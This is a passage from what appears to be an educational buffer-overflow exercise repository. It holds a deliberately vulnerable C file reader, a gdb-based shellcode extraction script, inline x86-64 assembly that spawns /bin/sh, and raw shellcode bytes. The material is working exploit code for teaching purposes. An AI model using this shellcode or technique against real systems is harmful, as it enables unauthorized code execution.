userptr->name, userptr, userptr->name); 48 | printf(" [file: %s at %p %p]\n\n", fileptr->filename, fileptr, fileptr->filename);*/ 49 | 50 | 51 | //opening some file, supposedly the file public.txt 52 | 53 | printf("On an unrelated note, opening %s.\n", fileptr->filename); 54 | FILE *readfile; 55 | readfile = fopen (fileptr->filename, "r"); 56 | if (readfile == NULL) { 57 | fprintf(stderr, "Error opening file\n\n"); 58 | exit (1); 59 | } 60 | 61 | 62 | //printing the file contents 63 | printf("File was successfully opened. It contains: \n"); 64 | int c; 65 | while ((c = getc(readfile)) != EOF) 66 | putchar(c); 67 | putchar('\n'); 68 | 69 | } 70 | return 0; 71 | } 72 | -------------------------------------------------------------------------------- /code/makeshellcode.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #clear everything from previous runs 4 | rm gdb_output.log > /dev/null 2>&1 5 | rm gdb_output2.log > /dev/null 2>&1 6 | rm gdbcommands > /dev/null 2>&1 7 | 8 | #create the assembly file (we actually don't need it) 9 | gcc -S -no-pie shellcode-creator.c -o shellcode.s -O0 -fno-stack-protector -g 10 | 11 | #create the 'shellcode' executable 12 | gcc -no-pie shellcode-creator.c -o shellcode -O0 -fno-stack-protector -g -fPIC 13 | 14 | #run gdb to look at the addresses 15 | echo -e "disass main\nq" >> gdbcommands 16 | gdb ./shellcode -q -x gdbcommands > gdb_output.log 17 | #gdb ./shellcode -q -x gdbcommands 18 | rm gdbcommands 19 | 20 | #get the adress of the first and last of our own instructions and the number of bytes we want 21 | LINENR=$(grep '<+4>' gdb_output.log | head -1 | sed -e 's/^[ \t]*//'| sed 's/ .*//') 22 | LASTLINENR=$(grep 'retq' gdb_output.log| head -1 | sed -e 's/^[ \t]*//'| sed 's/ .*//') 23 | LASTLINENR=$(printf "%d\n" $(($LASTLINENR - 0x06 ))) 24 | BYTES=$(printf "%d\n" $(($LASTLINENR - $LINENR ))) 25 | 26 | #printf "From 0x%X to 0x%X\n" $LINENR $LASTLINENR 27 | #echo $BYTES 28 | 29 | #run gdb again and get the hex commands for the assembly instructions 30 | echo -e "x/"$BYTES"xb "$LINENR" \nq\n" >> gdbcommands 31 | gdb ./shellcode -q -x gdbcommands > gdb_output2.log 32 | #gdb ./shellcode -q -x gdbcommands 33 | rm gdbcommands 34 | 35 | #reformat and strip the output to remove line numbers, spaces etc. and only present the commands in the format \xA1 36 | tail -n+2 gdb_output2.log | sed -n '/ output.txt 37 | 38 | cat output.txt 39 | echo "" 40 | if grep -q "\x00" output.txt; then 41 | echo -e "\nWARNING: There are still \\\x00 (null bytes) in this shellcode" 42 | fi 43 | 44 | #just to be sure, remove everything again 45 | rm gdb_output.log > /dev/null 2>&1 46 | rm gdb_output2.log > /dev/null 2>&1 47 | rm gdbcommands > /dev/null 2>&1 48 | rm shellcode.s > /dev/null 2>&1 49 | rm shellcode > /dev/null 2>&1 50 | rm output.txt 51 | -------------------------------------------------------------------------------- /code/public.txt: -------------------------------------------------------------------------------- 1 | some public information -------------------------------------------------------------------------------- /code/secret.txt: -------------------------------------------------------------------------------- 1 | super secret information! -------------------------------------------------------------------------------- /code/shellcode-creator.c: -------------------------------------------------------------------------------- 1 | int main(void) 2 | //put shellcode instructions in the __asm___() part, then run ./makeshellcode script 3 | //will only take the code up until ret, so be careful if you use ret yourself 4 | //this contains the shellcode for hackme1 5 | { 6 | __asm__ ( 7 | "jmp j2;" 8 | "j1: jmp start;" 9 | "j2: call j1;" //put the address of the string /bin/sh on the stack 10 | ".ascii \"/bin/shX\";" 11 | "start: pop %rdi;" //take the address of the string /bin/sh from the stack 12 | "xor %rax, %rax;" //set RAX to zero 13 | "movb %al, 7(%rdi);" //set a nullbyte after the /bin/sh in the written file 14 | "mov $0x3b, %al;" //put the syscall number in rax 15 | "xor %rsi,%rsi;" //RSI must be set to zero 16 | "xor %rdx,%rdx;" //RDX must be set to zero 17 | "syscall;" 18 | 19 | ); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /code/shellcode.bin: -------------------------------------------------------------------------------- 1 | \xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x21\x0a\x5e\x48\x31\xc0\x48\xff\xc0\x48\x89\xc7\x48\x89\xc2\x48\xc1\xe2\x03\x0f\x05 -------------------------------------------------------------------------------- /img/exploit2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/exploit2.png -------------------------------------------------------------------------------- /img/exploit3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/exploit3.png -------------------------------------------------------------------------------- /img/exploit3explained.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/exploit3explained.png -------------------------------------------------------------------------------- /img/exploit4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/exploit4.png -------------------------------------------------------------------------------- /img/exploit4environment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/exploit4environment.png -------------------------------------------------------------------------------- /img/exploit5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/exploit5.png -------------------------------------------------------------------------------- /img/exploit5screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/exploit5screen.png -------------------------------------------------------------------------------- /img/exploit6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/exploit6.png -------------------------------------------------------------------------------- /img/exploit6explained.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/exploit6explained.png -------------------------------------------------------------------------------- /img/makeshellcode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/makeshellcode.png -------------------------------------------------------------------------------- /img/stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/img/stack.png --------------------------------------------------------------------------------